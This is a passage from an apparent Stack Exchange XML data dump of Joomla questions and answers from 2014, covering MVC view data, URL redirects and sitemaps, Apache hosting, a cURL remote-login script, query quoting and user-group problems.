$db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('*')&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__users'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('id') . ' = 467');&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $myItemObj-&amp;gt;MydbObj = $db-&amp;gt;loadObject();&#xA;&#xA;    return $myItemObj;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In your view, you can now access that data like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo &amp;quot;&amp;lt;span&amp;gt;&amp;quot;. $this-&amp;gt;myData-&amp;gt;something .&amp;quot;&amp;lt;/span&amp;gt;&amp;quot;;&#xA;echo &amp;quot;&amp;lt;span&amp;gt;&amp;quot;. $this-&amp;gt;myData-&amp;gt;MydbObj-&amp;gt;username .&amp;quot;&amp;lt;/span&amp;gt;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You may want to check &lt;a href=&quot;http://docs.joomla.org/Using_multiple_models_in_an_MVC_component&quot; rel=&quot;noreferrer&quot;&gt;Using multiple models in an MVC component&lt;/a&gt; if you need a more comprehensive solution.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-07-23T18:02:14.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3731" PostTypeId="1" CreationDate="2014-07-16T06:45:40.187" Score="6" ViewCount="296" Body="&lt;p&gt;I am using Joomla 3.0 for my site&lt;br&gt;&#xA;Last month, I have submitted my site to google using Google Web Master Tools &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last week I installed category listing plugin called 'DM Pinboard'.&#xA;Because of this plugin, all the articles which under the categories, changed its URL.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in google, already indexed old articles. When user click a link in SERP displaying the following error.&#xA;500 - View not found [name, type, prefix]: pb, html, pbView!&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9ETS2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;enter image description here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I have to inform Google, that I have changed my URLs. &lt;br&gt;&#xA;I don't know how to inform it.&#xA;Please help me to solve this problem&lt;/p&gt;&#xA;" OwnerDisplayName="RamDesk" LastActivityDate="2014-07-23T20:40:37.340" Title="Google still indexing old URLs" Tags="|seo|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3732" PostTypeId="2" ParentId="3731" CreationDate="2014-07-16T08:46:25.970" Score="4" Body="&lt;p&gt;You need to create a new sitemap using a component like &lt;a href=&quot;http://www.jooxmap.com/&quot; rel=&quot;nofollow&quot;&gt;xmap&lt;/a&gt; and submit it to &lt;a href=&quot;https://www.google.com/webmasters/tools/&quot; rel=&quot;nofollow&quot;&gt;Google Webmaster Tools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;301 Htaccess redirection will also help you redirect old urls to new using the correct pattern&#xA;&lt;a href=&quot;http://css-tricks.com/snippets/htaccess/301-redirects/&quot; rel=&quot;nofollow&quot;&gt;301 Redirects&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1830" OwnerDisplayName="emmanuel" LastActivityDate="2014-07-16T08:46:25.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3733" PostTypeId="2" ParentId="3731" CreationDate="2014-07-23T20:40:37.340" Score="1" Body="&lt;p&gt;If you have a number of urls that can be manageable, then your best option should be to create 301 redirects for all the old urls to the new ones, using the Redirect Component, or any other 3rd party SEF extension you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, Google will learn about your new urls and will replace them in its index from time to time, but also any possible visitor that will come from a SERP page with an old url, will not get the error page, but he will be redirected to the actual content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, sitemap submissions and Google Webmaster Tools is your friend here. Create an account in Google for Webmasters Tools, from where you would be able to get reports about all such possible errors, you could also submit your new urls or sitemap and also manipulate at some level how Google will interact with your pages and also provides a Remove URLs feature, which you might want to use, to remove some of those dead urls.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-07-23T20:40:37.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3734" PostTypeId="2" ParentId="3725" CreationDate="2014-07-23T21:34:23.207" Score="6" Body="&lt;p&gt;Do I understand correctly that you want to make your website on your local computer on the Internet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from the poor uptime that you will experience with this you will need a number of things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Create a tunnel/ server address of your local computer on your Internet Router. This will also mean you will need a fixed IP address on your local network, not DHCP. Refer to your Router's documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Set up a DNS record www.domain.com to your IP address, either your ISP gives you a fixed IP address or you need to use some Dynamic DNS provider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Make sure that Apache listens to your local network IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ensure you are listening to Port 80 by having&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Listen 80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in ports.conf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up Virtual Hosts on your IP address, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NameVirtualHost *:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit /etc/apache2/sites-available/default:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;              &#xA;    ServerName www.domain.com&#xA;&#xA;    DocumentRoot c:\localfolder\website&#xA;&#xA;&amp;lt;/VirtualHost&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35" LastActivityDate="2014-07-23T21:34:23.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3735" PostTypeId="2" ParentId="3719" CreationDate="2014-07-24T01:19:45.420" Score="0" Body="&lt;pre&gt;&lt;code&gt;window.SqueezeBox.initialize({&#xA;        onClose:function(){&#xA;        }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This Solved Problem&lt;/p&gt;&#xA;" OwnerUserId="487" LastActivityDate="2014-07-24T01:19:45.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3736" PostTypeId="1" CreationDate="2014-07-24T05:47:36.047" Score="5" ViewCount="1800" Body="&lt;p&gt;My home page has the featured article view in 3 columns. There are parent categories like news, teledrama and programmes. I want to categorise these featured articles. News articles should be under title news. Teledrama articles should be under title Teledrama, likewise I want to categorise my front page. Could you please tell me how to do it???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2QW0W.jpg&quot; alt=&quot;this is what my front page(featured articles view) look like&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aEuwe.jpg&quot; alt=&quot;this is what i really want(categorise featured articles page)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;Thank you all for your answers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is not the thing i want to know, featured article layout is already sorted as category order. But I want is to add &lt;strong&gt;parent category title&lt;/strong&gt;  over each and every category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @Anibal said, I also think the place is this (image attached).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ebHhb.jpg&quot; alt=&quot;is this the file to edit&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also fond a useful article: &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?p=2541194&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://forum.joomla.org/viewtopic.php?p=2541194&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that article it says that I can get &lt;strong&gt;parent category title name&lt;/strong&gt; using &lt;strong&gt;$this-&gt;item-&gt;parent_title&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell me how to do it&lt;/p&gt;&#xA;" OwnerUserId="1690" LastEditorUserId="115" LastEditDate="2016-02-01T12:25:44.667" LastActivityDate="2016-02-01T12:25:44.667" Title="How to show parent category title in featured articles on the home page?" Tags="|joomla-3.x|overrides|subcategories|featured-articles|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3737" PostTypeId="1" AcceptedAnswerId="3787" CreationDate="2014-07-24T08:52:22.167" Score="3" ViewCount="2142" Body="&lt;p&gt;I'm trying to login a user who was authenticated elsewhere to a Joomla-site and was following &lt;a href=&quot;https://stackoverflow.com/questions/5176142/logging-in-to-joomla-1-5-using-external-form-not-within-joomla-folder-but-on-s/5207806#5207806&quot;&gt;Brent Friar's&lt;/a&gt; nice program, but had to apply two modifications:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;added a field &quot;return&quot; which was contained in the form&lt;/li&gt;&#xA;&lt;li&gt;refencing com_users, not com_user&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I do not know if that site has specific customizations, uses a specific login-module or if is a different version - I do not have admin-access to the site, so I cannot check.&#xA;Now, my script is running, but it does not successfully login the user - it doesn't get a cookie in return which it is expecting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, the site returns&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;HTTP/1.1 100 Continue&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;HTTP/1.1 303 See other Date: Wed, 23 Jul 2014 18:18:25 GMT Server:&#xA;  Apache/2.2.22 X-Powered-By: PHP/5.2.17 Location:&#xA;  &lt;a href=&quot;http://www.strassenbau.forum-kundenportal.de/login-erfolgreich&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.strassenbau.forum-kundenportal.de/login-erfolgreich&lt;/a&gt;&#xA;  Content-Length: 0 Connection: close Content-Type: text/html;&#xA;  charset=utf-8&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I know a bit of Joomla, but know nothing about the depths of http-communication with it, so I have no idea what the problem is here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$uname = &quot;*** secret&quot;;&#xA;$upswd = &quot;*** credentials&quot;;&#xA;$url = &quot;http://www.strassenbau.forum-kundenportal.de/login-anmeldung&quot;;&#xA;set_time_limit(0);&#xA;&#xA;$ch = curl_init();&#xA;curl_setopt($ch, CURLOPT_URL, $url );&#xA;curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE );&#xA;curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE );&#xA;curl_setopt($ch, CURLOPT_COOKIESESSION, TRUE );&#xA;curl_setopt($ch, CURLOPT_COOKIEJAR, realpath('./cookie.txt'));&#xA;curl_setopt($ch, CURLOPT_COOKIEFILE, realpath('./cookie.txt'));&#xA;curl_setopt($ch, CURLOPT_HEADER, TRUE );&#xA;$ret = curl_exec($ch);&#xA;&#xA;if (!preg_match('/name=&quot;([a-zA-z0-9]{32})&quot;/', $ret, $spoof)) {&#xA;    preg_match(&quot;/name='([a-zA-z0-9]{32})'/&quot;, $ret, $spoof);&#xA;}&#xA;&#xA;preg_match('/name=&quot;return&quot; value=&quot;(.*)&quot;/', $ret, $return); // search for hidden field &quot;return&quot; and get its value&#xA;&#xA;// POST fields&#xA;$postfields = array();&#xA;$postfields['username'] = urlencode($uname);&#xA;$postfields['password'] = urlencode($upswd);&#xA;$postfields['option'] = 'com_users';&#xA;$postfields['task'] = 'user.login';&#xA;$postfields['return'] = $return[1];&#xA;$postfields[$spoof[1]] = '1';&#xA;// edit: using the location of the 303-result directly...but it does not make a difference&#xA;curl_setopt($ch, CURLOPT_URL , &quot;http://www.strassenbau.forum-kundenportal.de/login-erfolgreich&quot;);&#xA;curl_setopt($ch, CURLOPT_POST, 1);&#xA;curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);&#xA;$ret = curl_exec($ch);&#xA;&#xA;echo &quot;ret2: &amp;lt;pre&amp;gt;&quot;; var_dump($ret); echo &quot;&amp;lt;/pre&amp;gt;&quot;;  // no cooking being set here!&#xA;&#xA;// Get logged in cookie and pass it to the browser&#xA;preg_match('/^Set-Cookie: (.*?);/m', $ret, $m);&#xA;$cookie=explode('=',$m[1]);&#xA;setcookie($cookie[0], $cookie[1]);&#xA;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While looking for answers, I found a remark saying that Joomla now also uses session-tokens, so it would not work for that reason. Can anybody confirm that explanation? But how then is remote login handled in such situations? Could I overcome the issue by implementing my own login-module?&lt;/p&gt;&#xA;" OwnerUserId="260" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2018-11-30T00:21:09.080" Title="Remote Login using cURL" Tags="|curl|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3738" PostTypeId="1" AcceptedAnswerId="3741" CreationDate="2014-07-24T09:30:56.907" Score="6" ViewCount="859" Body="&lt;p&gt;As we know, any values that are defined in a database query should always be escaped in Joomla using &lt;code&gt;$db-&amp;gt;quote($value)&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When defining numbers as a variable, one would normally use &lt;code&gt;(int)&lt;/code&gt; to set it as an integer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what would one do when setting a number as a value in a &lt;code&gt;where()&lt;/code&gt; clause for a database query? Would we only define it as an integer like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = (int)555;&#xA;-&amp;gt;where($db-&amp;gt;quoteName('id') . ' = ' . $id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or would we only need to quote it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = 555;&#xA;-&amp;gt;where($db-&amp;gt;quoteName('id') . ' = ' . $db-&amp;gt;quote($id));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or would we do both?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = (int)555;&#xA;-&amp;gt;where($db-&amp;gt;quoteName('id') . ' = ' . $db-&amp;gt;quote($id));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could someone please shed some light just so that I know for future reference please?&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-07-24T11:01:47.993" Title="Database query where() value is a number" Tags="|php|database|variable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3739" PostTypeId="2" ParentId="3736" CreationDate="2014-07-24T10:05:25.680" Score="1" Body="&lt;p&gt;It should be a matter of assigning each featured article to a specific category, then displaying these chosen categories on your page. Change the article global config options;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find The global options for the configuration of a blog page on:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Content-&gt;Article Manger-&gt;Options (from the topmenu);&lt;/li&gt;&#xA;&lt;li&gt;The tabs for all the global options is on the right side of the&#xA;window:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Acrticles, Editing Layout, Category, Categories, Blog / Featured Layouts, List Layouts, Shared Options, Integration and Permissions.&#xA;Select Blog / Featured Layouts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this page you can set the global options for the Blog / Featured layout.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Leading Articles: The number of full width articles.&lt;/li&gt;&#xA;&lt;li&gt;Intro Articles: The number of articles you want to show after the&#xA;leading articles.&lt;/li&gt;&#xA;&lt;li&gt;Columns: The number of columns you want for the intro articles.&lt;/li&gt;&#xA;&lt;li&gt;Links: The number of articles you want to link to if there are more&#xA;articles in the category.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The tutorial here may help also www.ostraining.com/blog/joomla/blog-multiple-categories&#xA;&lt;a href=&quot;http://www.ostraining.com/blog/joomla/blog-multiple-categories/&quot; rel=&quot;nofollow&quot;&gt;Blog multiple categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is what you are looking to day anyway, apologies if I misunderstood!&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-07-24T10:05:25.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3740" PostTypeId="2" ParentId="3712" CreationDate="2014-07-24T10:49:53.217" Score="2" Body="&lt;p&gt;I know this isn't a great answer, and the results you get will be relative, but I'd suggest perhaps installing a vanilla Joomla install on the same server and doing a comparison of output from the memory debug tool. If your main site is eating up memory whilst the vanilla install isn't, gradually load in the same components and data and profile the differences.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2014-07-24T10:49:53.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3741" PostTypeId="2" ParentId="3738" CreationDate="2014-07-24T11:01:47.993" Score="3" Body="&lt;p&gt;Good question this one. I have been in this consideration many times as well.&#xA;Not sure if there is one right answer and also not sure if my answer will be totally correct and clearly explained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I have seen so far, the database will understand a query containing a number/ integer in a where statement, and will compare it with its records set, even if the field we are comparing is defined as an (INT), (TEXT), (VARCHAR) or (CHAR) type, with or without quotes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However one of the critical points in such cases is to have consistency when querying the database with the right data types. So when checking for an INT field, the variable included in the query should always be transformed to an integer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing so and passing an integer to the database, we are somewhat safe of what data we are sending... The database will understand and process the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my tests with this case, my general conclusion is that quoting the Integer will not make any difference in the results and the whole stability. (Unless there are any specific cases that I can't think of at the moment, where quoting or not an integer will result in different or undesired results).&#xA;So, it looks like that it comes down more to the coding style and the consistency of the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the above in mind, it seems that is not actually required to quote an integer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be interesting to investigate this throughout the Joomla core, to see extensively their practices, or even better have an input from someone with an extensive knowledge and experience on this topic.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-07-24T11:01:47.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3742" PostTypeId="1" CreationDate="2014-07-24T11:33:52.230" Score="-2" ViewCount="166" Body="&lt;p&gt;I would like to insert items from RSS feed to k2, &#xA;It has to happen every interval and I would like to only insert items that include at least one word from a given keyword list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can it be done?&lt;/p&gt;&#xA;" OwnerUserId="1691" LastActivityDate="2020-04-08T15:17:36.253" Title="Insering items from RSS feed every interval" Tags="|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3743" PostTypeId="2" ParentId="3742" CreationDate="2014-07-24T11:53:03.833" Score="1" Body="&lt;p&gt;Sure, it can be done. Beyond the technical difficulties to solve every step, there are several extensions working in this way. Check &lt;strong&gt;Joomla! extensions directory&lt;/strong&gt;, searching for &quot;k2 grabber&quot; &lt;a href=&quot;http://extensions.joomla.org/search?q=k2+grabber&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/search?q=k2+grabber&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Firstly, you have to check the feed in a periodic way, getting processing time with CLI script or in a page event&lt;/li&gt;&#xA;&lt;li&gt;Secondly, if there are new articles, and they are not imported, you have a candidate to be imported&lt;/li&gt;&#xA;&lt;li&gt;Thirdly, apply all necessary filters for article cleansing&lt;/li&gt;&#xA;&lt;li&gt;Finally, insert the K2 article following its model&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-07-24T11:53:03.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3744" PostTypeId="2" ParentId="3737" CreationDate="2014-07-24T12:02:40.020" Score="0" Body="&lt;p&gt;To solve your authentication issue, you can just install &lt;strong&gt;IP Login&lt;/strong&gt; and enable your IP: &lt;a href=&quot;http://extensions.joomla.org/search?q=ip+&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/search?q=ip+&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PD: Your &lt;em&gt;preg_match(&quot;/name=...&lt;/em&gt; could be finding some other element, and not only the &quot;return&quot; token.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2014-07-24T12:09:18.323" LastActivityDate="2014-07-24T12:09:18.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3745" PostTypeId="2" ParentId="3736" CreationDate="2014-07-24T12:15:33.873" Score="2" Body="&lt;p&gt;If your template does not recognize any of usual options to enable the parent category, you can create a new layout override to include it specifically: &lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides#Layouts&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Understanding_Output_Overrides#Layouts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/templates&lt;/li&gt;&#xA;&lt;li&gt;_ /beez&lt;/li&gt;&#xA;&lt;li&gt;____       /html&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;________&lt;/strong&gt;         /com_content  (this directory matches the component directory name)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_____________&lt;/strong&gt;               /articles        (this directory matches the view directory name)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_____________&lt;/strong&gt;                 default.php (this file matches the layout file name)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-07-24T12:15:33.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3746" PostTypeId="1" AcceptedAnswerId="4014" CreationDate="2014-07-24T13:32:37.533" Score="2" ViewCount="354" Body="&lt;p&gt;I have been noticing that my Joomla admin account has randomly been losing some of it's assigned user groups. A few times it even lost its Super User user group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone ever experience something like this and have any ideas what could be causing this to happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main components on my site are JomSocial 3.2.1.2, Akeeba subscriptions and EasyDiscuss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My account wasn't created through Akeeba so I don't think that should affect my account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice this happening either when I log into JomSocial and notice that I can't see the members only content.&#xA;It has also happened when logging into the backend, the extension manager has been unavailable two or three times. I had to log in as a second Super User account that I had (luckily) and reassign the group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//July 28th 2014&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uninstalled Akeeba Subscriptions and purchased &lt;a href=&quot;http://joomdonation.com/joomla-extensions/membership-pro-joomla-membership-subscription.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; extension. I created a new user through the new extension and am still experiencing the same loss of user group. It is happening with non super user accounts also.&#xA;Any other ideas what could cause this?&lt;/p&gt;&#xA;" OwnerUserId="1689" LastEditorUserId="115" LastEditDate="2014-11-15T09:55:00.870" LastActivityDate="2015-05-12T14:42:52.230" Title="Assigned User Groups Dissappear Randomly" Tags="|joomla-user-groups|jomsocial|" AnswerCount="4" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3747" PostTypeId="2" ParentId="3723" CreationDate="2014-07-24T16:30:37.227" Score="1" Body="&lt;p&gt;Your example has only 1 image. The images should be displayed at their natural size, unless you specify dimensions in your html. Don't specify sizes in your html, upload images at the size you want them. That's it. &lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-07-24T16:30:37.227" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3749" PostTypeId="2" ParentId="859" CreationDate="2014-07-24T16:39:11.183" Score="0" Body="&lt;p&gt;Turns out the system plugin ScriptsDown was installed, and I thought I'd removed it - that was the culprit.  Once it was disabled / removed, AJAX tags started working again.&lt;/p&gt;&#xA;" OwnerUserId="419" LastActivityDate="2014-07-24T16:39:11.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3750" PostTypeId="2" ParentId="3729" CreationDate="2014-07-24T20:17:30.620" Score="2" Body="&lt;p&gt;If you haven't mess with anything deeper and assuming it is a casual joomla installation with your ACL additions, then it is definitely something you have not done right or ignoring in setting up your usergroup and access level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be any combination of if your usergroup is or is not a child of other usergroup, and that while registered usergroup has viewing access to your Custom Access Level, your custom Usergroup has not. Add in the mix that the menu items of your menu might have also ACL settings and depending on the layout of the Module, the module will not be displayed at all, if there is no access to its content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make a step back from the website and read a bit the documentation about implementing ACL in Joomla, in order to get a better understanding.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/J3.x:Access_Control_List_Tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla ACL Tutorial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://magazine.joomla.org/issues/issue-sept-2012/item/856-implementing-role-based-acl&quot; rel=&quot;nofollow noreferrer&quot;&gt;Implementing Role-Based ACL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Also this &lt;a href=&quot;https://joomla.stackexchange.com/questions/3543/user-group-in-joomla-3-2-1/3547#3547&quot;&gt;JSE question&lt;/a&gt; deals with a similar issue and you might&#xA;find useful answers:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would suggest to start your experimentation with the Joomla ACL slowly, doing small changes and testing what is working and why, as it can be really confusing and easily a website can become messy.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-07-24T20:17:30.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3751" PostTypeId="2" ParentId="3746" CreationDate="2014-07-25T02:01:39.523" Score="3" Body="&lt;p&gt;&lt;strong&gt;Akeeba subscriptions&lt;/strong&gt; is the most probable cause since it can manage user groups associated with subscriptions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, if you have tested memberships with the admin account, Akeeba subscriptions is going to assign or unassign the user to groups according to the tested memberships and expirations. Moreover, it's always better to test with simple registered users (not administrators). In some cases, a test works for the admin user (e.g. a super user can access any restricted resource), but not for simple registered users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, you can manually cancel that subscriptions, and finally assign the user to the right groups.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-07-25T02:01:39.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3752" PostTypeId="1" CreationDate="2014-07-25T05:41:39.110" Score="2" ViewCount="1448" Body="&lt;p&gt;I have a Joomla 3 site, and under that site but not within the Joomla framework, I'm doing all of my coding. Most of the functionality I'm providing with jQuery AJAX calls. In the PHP scripts used, I'm loading the Joomla framework which is OK but... loading the session is another matter!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done heaps of research, and the closest I get is that I could do it if I used the Joomla AJAX calling mechanism. I've been trying to avoid this, mainly because I've never peeked under the hood, and its a whole new &quot;thing&quot; to learn. It also binds my code forever to Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm loading the framework like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$joomlaBase = dirname(dirname(dirname(__FILE__)));&#xA;if (! defined('_JEXEC')) {&#xA;    define( '_JEXEC', 1 );&#xA;    define('JPATH_BASE', $joomlaBase);&#xA;    define( 'DS', DIRECTORY_SEPARATOR );&#xA;    require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;    require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;&#xA;    $mainframe =&amp;amp; JFactory::getApplication('administrator');&#xA;    $mainframe-&amp;gt;initialise(); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how to load the session?&lt;/p&gt;&#xA;" OwnerUserId="1695" LastEditorUserId="1695" LastEditDate="2014-07-28T00:59:19.940" LastActivityDate="2014-10-07T11:42:41.830" Title="How to load Joomla session from external AJAX call" Tags="|jquery|ajax|session|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
